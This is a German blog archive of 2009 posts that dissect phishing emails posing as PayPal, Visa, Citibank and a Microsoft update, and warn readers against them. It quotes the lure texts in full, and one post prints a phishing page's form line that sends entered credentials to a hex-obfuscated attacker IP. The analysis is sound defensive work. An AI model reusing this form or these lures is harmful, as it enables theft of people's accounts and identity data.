Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.


Kategoriearchiv „Phishing“

PayPal .INC

Mittwoch, 11. November 2009

Das ist ja ein gnadenlos doofer Betreff! Gehts noch?!

To make sure everything is in order, please download the PayPal Security Account Verification and fill in all the required data for verfication.

Und dazu gibt es eine gnadenlos doofe Nachricht. Ohne Anrede, ohne Gruß, ohne alles, was auch nur entfernt nach glaubwürdiger Kommunikation von PayPal aussieht – stattdessen mit der Aufforderung, sich eine Kontobestätigung zur Sicherheit „runterzuladen“. Nun, dass dazu kein Link steht, ist gut verständlich, denn da ist noch etwas an die Mail angehängt. Dieser Spammer ist mit seinem Phishing-Versuch so brettmorsch hirnfraßmäßig doof, dass er nicht einmal den Unterschied zwischen einem Anhang und einem Link zum Download kennt. Leider hält ihn das nicht davon ab, ein paar Millionen Drecksspams durch das Netz zu bewegen.

Ach ja, das angehängte Dokument ist eine HTML-Datei mit dem schönen Namen PayPal Security Account Verification.html. Wer darauf klickt (so etwas macht man nur mit einem besonders gesicherten System), darf sich über den folgenden Anblick freuen:

Screenshot des dummen Anhanges für das Phishing

[Wer sich darüber wundert: Die Titelgrafik wird aus dem Internet von PayPal nachgeladen, aber der System, mit dem ich solche Drecksdateien betrachte, hat keine Verbindung zum Internet. Deshalb fehlt die Grafik im Titelbereich.]

Aber es glaube bitte niemand, dass die eventuell dort eingegebenen Daten zu PayPal gehen, nein, sie gehen [es folgt ein Quelltextausschnitt]…

<FORM METHOD="POST" ACTION="http://0xD5.0xC3.0xDF.0xA9/paypalverification.php/" name="Form_1">

…an ein Skript auf einen Rechner mit der IP-Adresse 213.195.223.169; und der Spammer will diesen Fakt recht fragwürdig hinter einer eher unüblichen sedezimalen Schreibweise verbergen. Im Gegensatz zu PayPal hält dieser stümpernde Verbrecher auch nichts von einer sicheren Verbindung über HTTPS.

Oder anders gesagt: Wer in einer Mail „von PayPal“ einen Anhang „zum Ausfüllen“ findet, sollte sich bitte hüten, wenn er nicht eine Verbrecherbande reich machen will.

Und ja, wenn PayPal wirklich einmal schreibt, denn immer mit einer persönlichen Anrede, aber dafür ohne…

We recently noticed one or more attempts to log in to your PayPal account from a foreign IP address and we have reasons to believe that your account was hijacked by a third party without your authorization. If you recently accessed your account while traveling, the unusual log in attempts may have been initiated by you.

…irgendwelche hingeschmierten Schwammigkeiten, die nichts belastbares aussagen, aber damit ordentlich Alarmstimmung beim Empfänger auslösen sollen.

Ihre Kreditkarte wird ausgesetzt.

Donnerstag, 5. November 2009

Ah, mal wieder ein Betreff mit einem Punkt am Ende…

Verifedbyvisa Verifedbyvisa

Und sowas von „verified“, das muss ja geradezu echt sein. Schade nur, dass man bei „Visa“ nicht zu wissen scheint, wie sich „verified“ schreibt… :mrgreen:

Hallo Gast Visa Card,

Das nenne ich eine originelle Anrede. Hallo Gast Visa Card. Was bin ich denn nun? Bin ich ein Gast? Habe ich einige Exemplare eines Gast-Visums (Plural: Visa)? Oder Karten davon? Oder vielleicht Eintrittskarten? Der anonym bleibende Autor stößt mir nur vier Wörtern eine Lawine möglicher Assoziationen los, die jede Beschränkung der Phantasie mit sich hinfortreißt… :mrgreen:

Ihre Kreditkarte wird ausgesetzt, weil wir ein Problem Hinweis auf Ihrer Karte.

Und das reicht dem unbekannten Dichter dieser Spam nicht, denn er fühlt sich so frei, die zukünftige Entwicklung der deutschen Sprache vorweg zu nehmen. Er befreit die Sprache aus dem Korsett der Partikeln und Verben, setzt sie für einen unmittelbaren, deutlichen und drangvollen Ausdruck neu zusammen, der in seiner Eindringlichkeit wie ein brennendes Haus klingt: „weil wir ein Problem Hinweis auf Ihrer Karte“. Jeder versteht, was gemeint ist und dass es wirklich eilt.

Wir feststellen, dass jemand Ihre Karte ohne Ihre Erlaubnis verwenden dьrfen. Zu Ihrem Schutz haben wir daher Ihre Kreditkarte ausgesetzt. Zur Aufhebung der Aussetzung, Klicken Sie hier und folgen Sie den Anweisungen geben, Ihre Kreditkarte zu aktualisieren.

Leider kann der „Wir“-Erzähler dieses hohe Niveau nicht halten, so sehr auch darum bemüht ist. Der Link auf „Klicken Sie hier“ geht auf eine unter madciine (dot) com gehostete Seite von Betrügern, die vielleicht eine gewisse optische Ähnlichkeit mit den Originalseiten von Visa haben mag, aber durch einen einfachen Blick in die Adressleiste zeigt, dass hier bei einer „Anmeldung“ Daten an irgendwelche Verbrecher gegeben werden. Na ja, der Text der Mail zeigt seinen Charakter ja auch durch bloßes Hinschauen.

Hinweis: Wenn diese nicht vollstдndig November 6, 2009, werden wir gezwungen sein, Ihre Karte immer auszusetzen, denn es kann verwendet werden fur betrugerische

[Ja, das hört im Original genau so auf!]

Und jetzt noch ein bisschen hetzen, denn Eile macht dumm – jeder Haustürverkäufer und jeder Betrüger weiß das.

Wir bedanken uns fur Ihre Zusammenarbeit in dieser Angelegenheit.

Danke,
Kunden-Support-Service.

Aber bitte doch. Wenn ihr mir diesen Strunz in 27 Ausführungen schickt, denn bettelt ihr ja geradezu darum, dass ich euch einmal erwähne.

Copyright 1999-2009 VerifedbyVisa. Alle Rechte vorbehalten.

Verklag mich doch, Spammer!

Phishing: Lieb PayPal Customer

Freitag, 16. Oktober 2009

Das hatten wir heute schon einmal, wenn auch mit weniger peinlichem Betreff.

Warnung Notification

Klar doch, so etwas kommt immer in der falschen Sprache und ohne persönliche Anrede, denn PayPal hat kein Interesse an irgendeiner Kundenpflege. Allein das ist ein deutliches Indiz, dass man es mit einer Mail von Betrügern zu tun hat. Hier kann man es noch an gewissen anderen – ähm – Schwächen bemerken, aber so massiv, wie gerade die Phishing-Spams hier reinkommen, wird der Text wohl morgen schon ausgereift sein. Dass jemand auf dieses Geschreibsel reinfällt, erscheint mir ja schon unglaublich:

Lieb PayPal Costumer,

Es ist uns nicht entgangen, dass dein PayPal® account-Informationen muss im Rahmen der Aktualisierung unserer anhaltendes Engagement fьr Ihr Konto zu schьtzen und zu reduzieren der Fall von Betrug auf unserer Website. Wenn Sie kцnnten Bitte nehmen Sie sich 5-10 Sie wird nicht ausgefьhrt, in Zukunft keine Probleme mit der Online – Dienst.

Jedoch nicht aktualisiert Ihre Eintrдge werden auf dem Konto Ergebnis Suspension. Bitte aktualisieren Ihre Eintrдge vor Oktober 08, 2009.

Sobald Sie aktualisiert haben Ihre Konto werden Ihre PayPal® Kontobewegungen nicht unterbrochen werden und wird wie gewohnt weiter.

Klicken Sie auf Hier aktualisieren Sie Ihr PayPal-Konto Informationen

Der Link geht mal wieder auf ein gehacktes Forum. Und für jene, die ganz neugierig sind, zeige ich jetzt mal, wie es aussieht, wenn man da draufklickt – mit einem besser formulierten Text könnte ein erheblicher Teil der naiveren PayPal-Kunden auf den fiesen Betrug dieser Phisher reinfallen.

Der Klick führt auf eine HTML-Datei, die bei einem gehackten Forum über eine Sicherheitslücke hinterlegt wurde. Diese Seite selbst enthält nur eine Weiterleitung auf clan punkt barabaka punkt biz / ts / webscr.php mit den GET-Parametern cmd = _login-run und dispatch mit einer endlos langen, base64-codierten Kennung, über welche die Spammer wahrscheinlich feststellen, dass ihr durch einen Hack hochgeladener Code noch aktiv ist und weiter mit Spam beworben werden kann.

Die hier für den Betrug verwendete Domain ist bei Manager Peterhost, ul Professora Popova 37B, St. Petersburg gehostet, als Registrar ist ein Sergey Khomenko ohne Anschrift aus der schönen großen Stadt Moskau eingetragen. Letzteres dürfte ein reiner Phantasiename sein. Der Hoster ist schon von mir angemailt worden, aber nach meinen bisherigen Erfahrungen mit russischen Hostern verspreche ich mir davon nichts, nicht einmal eine Eingangsbestätigung. Allerdings gehe ich davon aus, dass auch der Hoster ein Betrogener ist. Auch der Betreiber des gehackten Forums hat schon seine Mail und wird wahrscheinlich ein großes Eigeninteresse daran haben, dass dieser Müll von seinem Server verschwindet – aber auf dieser Seite ist das alles ein Kampf gegen Windmühlen, wahrscheinlich werden zurzeit tausende von gehackten Websites von diesen Verbrechern missbraucht.

Mal so am Rande gefragt: Wo ist eigentlich der Kampf gegen die Internet-Kriminalität? Ich bin überzeugt, dass ein Tätigwerden des BKA deutlich mehr Wirkung beim Hoster entfalten würde als die Mail eines Namenlosen ohne Wohnsitz aus dem fernen fernen Deutschland – vor allem, wenn dabei mit russischen Behörden zusammengearbeitet würde. Aber von einem „sicheren Internet“ redet man ja nur im Wahlkampf und wenn man den Menschen Zensur und andere Einschränkungen verkaufen will. Die wirkliche Kriminalität scheint allen Beteiligten gleichgültig zu sein, und deshalb werden immer wieder arglose Menschen um tausende von Euros abgezockt.

[Für Originalgröße der folgenden Screenshots die Vorschaubilder anklicken]

Login-Bildschirm der Phisher

Wenn der gläubige PayPal-Kunde diesen Bildschirm sieht, kann ich nur hoffen, dass er auch auf die Adresszeile seines Browsers schaut und misstrauisch wird. Denn darin erscheint nicht die vertraute Domain paypal.com, sondern die Domain eines Betrügers. Es würde mich nicht wundern, wenn in kommenden Versionen des Betruges versucht würde, die Adresszeile des Browsers auszublenden.

WICHTIGER HINWEIS: Solche Internetadressen wie die einer Bank, eines Auktionshauses oder eines Dienstes zur Online-Bezahlung gibt man immer von Hand ein. Niemals auf einen Link in einer E-Mail klicken. Niemals auf die Lesezeichen (für IE-Freunde: Favoriten) des Browsers verlassen, diese sind für Kriminelle manipulierbar. Niemals mit administrativen Berechtigungen im Internet surfen, damit nicht unter Ausnutzung von Sicherheitslücken die Zuordnung der Domainnamen zu IP-Adressen manipuliert werden kann. Selbst mit solchen Vorkehrungen ist kein Computer unter keinem Betriebssystem völlig sicher, es gilt, unter allen Umständen aufmerksam zu bleiben. Keine Sicherheitssoftware kann bewusste Vorsicht und Aufmerksamkeit ersetzen.

Wenn ein argloser Anwender hier seine Mailadresse und sein PayPal-Passwort eingegeben hat (ich habe hier ein paar mit Schimpfwörtern gesalzene Phantasiedaten genommen, um den Datenbestand der Kriminellen ein wenig zu verseuchen), geht es nicht gleich weiter, sondern es wird eine Fehlermeldung angezeigt, dass man sich mit falschen Daten angemeldet hat:

Fehlermeldung, damit man auch wirklich die richtigen Daten eingibt

Erst, wenn man zwei Mal nacheinander die gleiche Eingabe gemacht hat, geht es weiter. Diese Verbrecher wollen als einen ganz sauberen Datenbestand haben und sich nicht weiter mit Tippfehlern herumschlagen, wenn sie die Bankkonten anderer Leute für ihre betrügerischen Geschäfte plündern. Die wollen so wenig zeitlichen Aufwand wie nur irgend möglich dafür betreiben, dass sie ihre Betrugsgeschäfte durchziehen.

Nach dem Einsammeln der PayPal-Anmeldedaten haben diese Bastarde schon einen großen Schritt gemacht und könnten eigentlich unter irgendeinem Vorwand abbrechen – ein komplettes PayPal-Konto stünde ihnen bereits zur Verfügung. Aber die werden auch daran nicht satt und treiben es noch ein bisschen bunter, denn nach erfolgreicher Anmeldung…

Ein totaler Datenstriptease vor einer Bande von Verbrechern mit großer krimineller Energie - das kann man niemandem empfehlen

…erhält man nicht etwa die gewohnte Kontenübersicht (obwohl genau das noch in der Überschrift steht), sondern ein Formular für „Bestatigen Mein Konto.“ (in genau dieser Schreibweise). Wenn man diese Eingabemaske sieht, ist es eigentlich schon zu spät, aber der Schaden lässt sich jetzt noch beliebig verschlimmern. In diesem tollen Formular kann man nämlich einen kompletten Datensatz über sich selbst an die hochkriminellen Spammer geben, einschließlich Anschrift und Geburtsdatum und Nummer des Ausweises (Numero von CIN ist aber nicht gerade deutsch). Das sind Daten, über die sich jeder Kriminelle freut, wenn er seine ganz besonderen „Geschäfte“ machen will.

Also bitte niemals niemals niemals auf ein Phishing reinfallen.

In jeder echten Mail der Bank, von PayPal oder jedem anderen Unternehmen, bei dem man Kunde ist, wird man persönlich angesprochen – und es wird hoffentlich auch überall darauf hingewiesen, dass man die Internetadresse von Hand eingeben soll. Und selbst, wenn eine Mail mit persönlicher Ansprache kommt, sollte man skeptisch bleiben, denn die Verbrecher kommen immer wieder einmal an persönliche Daten – im Zweifelsfall zum guten, alten Telefon greifen und einfach einmal nachfragen. Dieses bisschen Vorsicht kann sehr viel Geld sparen.

Sehr geehrter PayPal Kunde,

Donnerstag, 15. Oktober 2009

Ja, dieser Betreff endet wirklich mit einem Komma!

Sehr geehrter PayPal-Mitglied,

Und mit der simplen Tatsache, dass „Mitglied“ in der deutschen Sprache von sächlichem Geschlechte ist, kennen sich diese Verbrecher auch nicht aus. Den bei PayPal wohlbekannten Namen, der in jeder echten Mail von PayPal erwähnt wird, können sie in ihrer millionenfachen Massenpost natürlich auch nicht kennen.

Vor kurzem haben wir bemerkt, ein oder mehrere Versuche, sich in Ihr PayPal-Konto anmelden aus einer fremden IP-Adresse.

Auch das sonstige Deutsch ist mal wieder ein bisschen holprig…

Wenn Sie Zugriff auf Ihr Konto vor kurzem wдhrend der Reise, die ungewцhnliche Login-Versuche gewesen sein mag, die Sie gestartet.

…und auch die Angabe der korrekten Codepage für die Darstellung deutscher Umlaute ist diesen Idioten gründlich missglückt.

Jedoch, wenn Sie der rechtmдЯige Inhaber des Kontos, klicken Sie auf den untenstehenden Link, um auf das Konto anmelden und den Anweisungen folgen.
https://www.paypal.com/de/cgi-bin/webscr?cmd=login

Die nicht besonders toll formatierte Mail ist natürlich im HTML-Format verfasst, und diese tolle Adresse ist nicht etwa ein Link auf diese tolle Adresse, sondern geht auf ein gehacktes Forum. In diesem Forum war eine Datei mit dem Namen pp.html hinterlegt, die der Login-Seite von PayPal sehr ähnlich sah. Ich schreibe das in der Vergangenheit, weil ich den Betreiber des Forums sofort darüber informiert habe, und der hat daraufhin etlichen kriminellen Dreck aus seinem Forum gelöscht, damit nicht noch mehr Schaden durch das Phishing entsteht und dabei hoffentlich auch mal seine Software aktualisiert. Das empfehle ich übrigens zur Nachahmung, wenn man einen Rechner hat, der besonders gesichert ist, so dass ein Klick in eine Spam gefahrlos ist. (Die bloße Existenz eines Virenscanners und einer Firewall ist keine ausreichende Sicherung.)

Die eingegebene Mailadresse und das Passwort gehen natürlich nicht zu PayPal, sondern auf die Website von Verbrechern. Die werden damit Dinge anfangen, die sich kein Kunde bei PayPal wünschen kann.

Wenn Sie sich dafьr entscheiden, das Ersuchen zu ergдnzen, geben Sie uns keine andere Wahl, auf Ihr Konto vorьbergehend auszusetzen. Es dauert mindestens 72 Stunden fьr die Untersuchung in diesem Fall und wir empfehlen Ihnen, Ihr Konto zu diesem Zeitpunkt zu ьberprьfen.

Sondermüll sofort löschen! Denn…

Thank you for using PayPal!
PayPal Account Review Department
PayPal Email ID PP232

…PayPal hat damit nix zu tun. (Und so etwas wie eine „PayPal Email ID“ ist ein sehr dürftiger Ersatz für eine persönliche Ansprache.)

CITIBANK.DE – Wir sind froh, 25 Euro auf Ihr Konto zu uberweisen (50LC1T)

Freitag, 24. Juli 2009

[Das hier heißt „Unser täglich Spam“, und der Citibank kann man vielleicht manches Schlechte nachsagen, aber noch nicht, dass sie unter die Spammer gegangen ist. Diese Mail kommt nicht von der Citibank. ]

Na, da hat sich ein Phisher aber mal richtig Mühe gegeben. Die Mail sieht wirklich überzeugend aus, das Corporate Design der Citibank ist sehr gut getroffen. Und die meisten Links in der Mail führen auf die Website der Citibank – mir „nur“ zwei Ausnahmen.

Der erste Link sieht so aus:

Login

Wer darauf klickt, kann alle Hoffnung fahren lassen.

Und der zweite Link ist ein bisschen größer und praktisch der Ersatz für eine textuelle Mitteilung in dieser Spam:

Wir sind froh, 25 Euro auf Ihr Konto zu überweisen, wenn Sie nur 5 Fragen uber unsere Dienstleistungen beantworten. Mehr erfahren. Loggen Sie sich ein und beantworten Sie die Fragen

[Für Originalgröße auf die Grafik klicken…]

Bei einer solchen Präsentation wundert sich kein Opfer mehr darüber, dass es nicht namentlich angesprochen wird. Dass der Absender sich den nicht gerade deutschen Namen „Dispenses U. Profiled“ [ja, wirklich] gegeben hat, wird wohl auch niemand bemerken. Und denn werden da so freundlich 25 Euro angeboten, dass man gar nicht mehr merkt, dass dieses „Wir sind froh“ nicht gerade nach der Sprache eines in Deutschland lebenden Autoren klingt – und dann fällt auch dieses „uber“ auf, über dem irgendwie so zwei Pünktchen fehlen. Dafür klebt ein dicker roter Punkt ganz unpassend im Text. Aber das kann man alles schon einmal übersehen, vor allem, wenn man gerade mit dem Geld ein bisschen eng ist, und dann klickt man entweder auf die große Grafik oder auf das Feld „Login“ und will sich seine 25 Euro abholen…

Und. Das wird teuer!

„Login“ führt auf die Domain 2b3.com, und die große Grafik auf die Domain chatroom.us.com – beides gewiss keine Internetadressen, die von der Citibank für die Kommunikation mit den Kunden benutzt werden. Dort kann man sich dann „anmelden“, und es wird bestimmt alles sehr ähnlich wie bei der Citibank aussehen. Die eingegebenen Daten gehen direkt in die Hände von Verbrechern, und die werden damit etwas anzufangen wissen, was sich kein Kontoinhaber bei irgendeiner Bank wünschen kann.

Also: Diesen Sondermüll sofort löschen. Kunden der Citibank sollten ihre Bank darüber informieren, damit andere Kunden gewarnt werden – ich halte so etwas nicht für meinen Verantwortungsbereich und bin nicht dafür da, irgendwelchen Bankhäusern kostenlos ihre Probleme zu lösen.

Erheiternd fand ich den Prosatext in der HTML-Mail, der mit CSS unsichtbar gemacht wurde, um diese Mail besser am Spamfilter vorbei zu mogeln. Er enthielt unter anderem die bemerkenswerte Zeile „Vertra:umte Polizisten watscheln bei Laternen“ – *prust!*

Auch keine Lösung

Mittwoch, 15. Juli 2009

Den folgenden Screenshot stammt von einer gehackten Website. Ich bin mit einer französischen Phishing-Spam auf diesen Hack aufmerksam geworden – natürlich geht es einmal mehr um PayPal.

paypal-phishing-franzoesisch.png

Wer auf den Link in der französischen Mail geklickt hat und hier nun einen Login versucht, der ist aufgeschmissen. Natürlich ist das nicht die PayPal-Website, und natürlich gehen Mailadresse und zugehöriges Passwort nicht zu PayPal, sondern an ein Skript namens Submit.php auf dem gleichen Server. Dieses Skript wird die Daten wohl mit einer Mail an die Verbrecher weitergeben, und schon haben diese frische, neue Konten für ihre Betrugsgeschäfte.

Aber um eines möchte ich jeden Leser noch bitten. Klickt doch mal bitte auf das Bild, um es in vollständiger Größe zu betrachten und schaut auf die Adresszeile des Browsers. Das ist doch mal eine Botschaft: „Kein Alkohol ist auch keine Lösung“ – stimmt, wenn man hier das Phishing nicht erkennt, ist jede Hoffnung verloren, da kann man sich auch getrost das Hirn wegsaufen…  :mrgreen:

Der Betreiber der Website ist natürlich von mir eben über den kriminellen Hack unterrichtet worden, damit dieser Mist schnell wieder verschwindet.

Details Request

Dienstag, 14. Juli 2009

Im Moment haben es die Phisher aber auch! Und immer wieder sollen PayPal-Kunden mit dieser Nummer übers Ohr gehauen werden, zum Beispiel mit einer (gerade frischen) Mail wie dieser:

Due to upcoming August 2009, and recent changes in PayPal’s Service Agreement you need to submit additional details on your PayPal account.

„Natürlich“ kommt das ohne jede Anrede, nicht einmal mehr zu einem „Dear Customer“ in seiner Peinlichkeit lässt sich der Betrüger hinreißen. Niemand würde einen derart kalten Ton gegenüber seinen Kunden pflegen, nicht einmal PayPal.

Merke: Wenn eine Mail von eBay, PayPal oder sonstwen zu kommen vorgibt, mit dem man Geschäfte macht, und wenn diese Mail nicht einmal mit einer persönlichen, namentlichen Anrede kommt, ist es immer Betrug.

Starting from 2009 all PayPal accounts will come with complete detailed information! Identity protection matters. And PayPal works day and night to help keep your identity safe.

Irgendeinen Grund dafür gibt es nicht. Aber viel Bullshit, um das zu verbergen.

Übrigens: Wenn PayPal seine AGBs (oder hier: sein „Service Agreement“) ändert, bekommen alle Kunden eine Mail mit einem Hinweis auf die neuen Bedingungen – und jeder dieser Kunden wird in jeder dieser Mails namentlich angesprochen.

Secure Server Identity protection matters. Get Verified

Wer da klickt, hat verloren.

Der Link aus der Spam geht nicht etwa auf die Website von PayPal, sondern auf einen Rechner mit der IP-Adresse 218.61.13.33 – und im Gegensatz zu allen Dingen von PayPal wird auch nicht verschlüsseltes HTTPS, sondern ganz ordinäres HTTP verwendet. Es handelt sich um die Website von Betrügern. Diese Website wird auf dem ersten Blick wie PayPal aussehen, und da kann man dann einen Login versuchen… die Verbrecher freuen sich über das Passwort. Endlich wieder ein neues Konto für kriminelle Geschäfte.

Und damit das Opfer auch nicht nachdenkt…

According the new changes in Service Agreement any unverified account will be deleted from the system in 72 hours after receiving this letter.

…schnell noch die Löschung des Kontos androhen, wenn da nicht in 72 Stunden auf den verbrecherischen Link geklickt wird. Angst macht schließlich dumm.

Glaubt wirklich jemand, dass irgendein Unternehmen so kalt und unhöflich mit seinen Kunden umspringen würde?

ACHTUNG: Angesichts der wirklich vielen Versuche des PayPal-Phishings kann ich nur warnen, wenn irgendeine Mail vorgibt, von PayPal zu kommen. Auf keinen Fall zu einem vorschnellen Klick hinreißen lassen! Und schon gar nicht, wenn diese Mail ohne persönliche, namentliche Ansprache ist! Es handelt sich beinahe immer um einen Betrugsversuch. Wenn man sich einmal über die Natur der Mail unsicher ist: Immer Kontakt mit dem Kundenservice bei PayPal aufnehmen und auf keinen Fall auf irgendwelchen Websites, zu denen man mit einer Mail gelotst wurde, irgendwelche Passwörter eingegeben! Darüber freuen sich nur Verbrecher. Immer die PayPal-Seite aufrufen, indem man selbst die Adresse in den Browser eingibt (auch keine „Favoriten“ oder „Lesezeichen“ benutzen, so etwas ist für kriminelle Angreifer manipulierbar)! Mit diesen einfachen Vorsichtsmaßnahmen kann man relativ leicht einen nennenswerten finanziellen Schaden verhindern. KEINE CHANCE DEN PHISHERN!

Microsoft has released an update for Microsoft Outlook

Mittwoch, 24. Juni 2009

Dies ist eine dringende Warnung. Die folgende Mail stammt nicht von Microsoft, und der darin angegebene Link führt nicht auf die Homepage von Microsoft, sondern auf die Homepage von kriminellen Spammern. Was passieren kann, wenn man sich von diesen Schurken Software herunterlädt, sollte niemand selbst ausprobieren.

Critical Update
Update for Microsoft Outlook / Outlook Express (KB910721)

Brief Description
Microsoft has released an update for Microsoft Outlook / Outlook Express. This update is critical and provides you with the latest version of the Microsoft Outlook / Outlook Express and offers the highest levels of stability and security.

Instructions

Quick Details

  • File Name: officexp-KB910721-FullFile-ENU.exe
  • Version: 1.4
  • Date Published: Tue, 23 Jun 2009 16:53:46 -0300
  • Language: English
  • File Size: 81 KB

System Requirements

  • Supported Operating Systems: Windows 2000; Windows 98; Windows ME; Windows NT; Windows Server 2003; Windows XP; Windows Vista
  • This update applies to the following product: Microsoft Outlook / Outlook Express

Contact Us

© 2009 Microsoft Corporation. All rights reserved.
Contact Us |Terms of Use |Trademarks |Privacy Statement

Einmal ganz davon abgesehen, dass jedem auffallen könnte, dass Microsoft keine Updates für Windows 98 mehr anbietet, ist diese kriminelle Spam durchaus professionell gestaltet und bildet den Microsoft-Stil gut nach:

Das Layout der Mail

Alle Links mit Ausnahme des angeblichen Download-Links für ein Update führen zu Microsoft. Der Download-Link ist eine URL, die in einer HTML-formatierten Mail mit einem Link auf eine andere Site versehen wurde. Der Domainname dieser Site beginnt ebenfalls mit update.microsoft.com, dies ist allerdings eine Subdomain innerhalb der Domain ill1ki1.net – das kann beim schnellen Überfliegen schon einmal übersehen werden. Wer alarmiert genug ist, wird wohl auch nicht bemerken, dass die Mail gar nicht an ihn gerichtet ist und dass Microsoft es verabsäumt hat, den Hinweis auf den Update auf der Firmenhomepage zu verlinken. Generell sendet Microsoft derartige Mails niemals unverlangt heraus.

Was man dort, auf der verlinkten Website, als „Update für Outlook“ betrügerisch angedreht kriegt und sich auf dem Rechner installieren soll, will ich mir gar nicht anschauen. Es handelt sich gewiss nicht um Dinge, die sich jemand freiwillig, ohne eine derartige Überrumpelung, auf den Rechner spielen würde. Outlook wird davon jedenfalls nicht stabiler und sicherer, aber die Spam-Mafia wird sich durch gezielten Rechnermissbrauch gewiss stabile und sichere Einnahmen zu holen verstehen.

Also: Diese Mail sofort löschen und andere Menschen davor warnen! Vermutlich wird diese Masche in den folgenden Tagen mehrfach versucht werden, auch für andere Programme und mit geringfügigen Änderungen in Details. Eventuell wird es auch eine deutsche Version des Textes geben. Wachsam bleiben und nicht in Panik versetzen lassen, wenn Updates für kritische Sicherheitslücken als unbedingt erforderlich empfohlen werden, dies aber in Form einer Spam geschieht. Es handelt sich immer um einen Betrug, und wer darauf hereinfällt, wird immer zu Schaden kommen.